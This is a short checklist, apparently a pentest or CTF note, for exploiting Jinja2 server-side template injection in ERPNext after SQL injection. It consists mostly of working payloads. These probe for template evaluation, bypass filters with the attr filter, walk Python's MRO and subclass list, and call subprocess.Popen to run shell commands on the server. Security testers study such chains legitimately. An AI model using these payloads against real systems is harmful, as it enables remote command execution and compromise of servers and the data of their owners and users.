ERPNext (SQLi -> SSTI)

🧪 SSTI Exploitation Checklist (Jinja2)

✅ 1. Confirm SSTI

• Inject {{7*7}} or {{1337}} and check for evaluation.

• Try {% set var = "test" %} to test logic blocks.

🔓 2. Bypass Filters

• Use |attr() to access attributes dynamically.

• Example: {{ "ssti"|attr("__class__") }}

🧬 3. Access MRO (Method Resolution Order)

{% set string = "ssti" %}
{% set class = "__class__" %}
{% set mro = "__mro__" %}
{% set mro_r = string|attr(class)|attr(mro) %}
{{ mro_r[1] }}

🧬 4. List Subclasses

{% set subclasses = "__subclasses__" %}
{% set subclasses_r = mro_r[1]|attr(subclasses)() %}
{{ subclasses_r }}

🔍 5. Identify Useful Classes

• Look for subprocess.Popen, os.system, etc.

• Use indexing to access specific class:

{{ subclasses_r[420] }}

💣 6. Execute Commands

{{ subclasses_r[420]("id", shell=True, stdout=-1).communicate()[0] }}

🧼 7. Clean Output

• Use VS Code or a script to format subclass output.

• Replace ", " with newlines for easier indexing.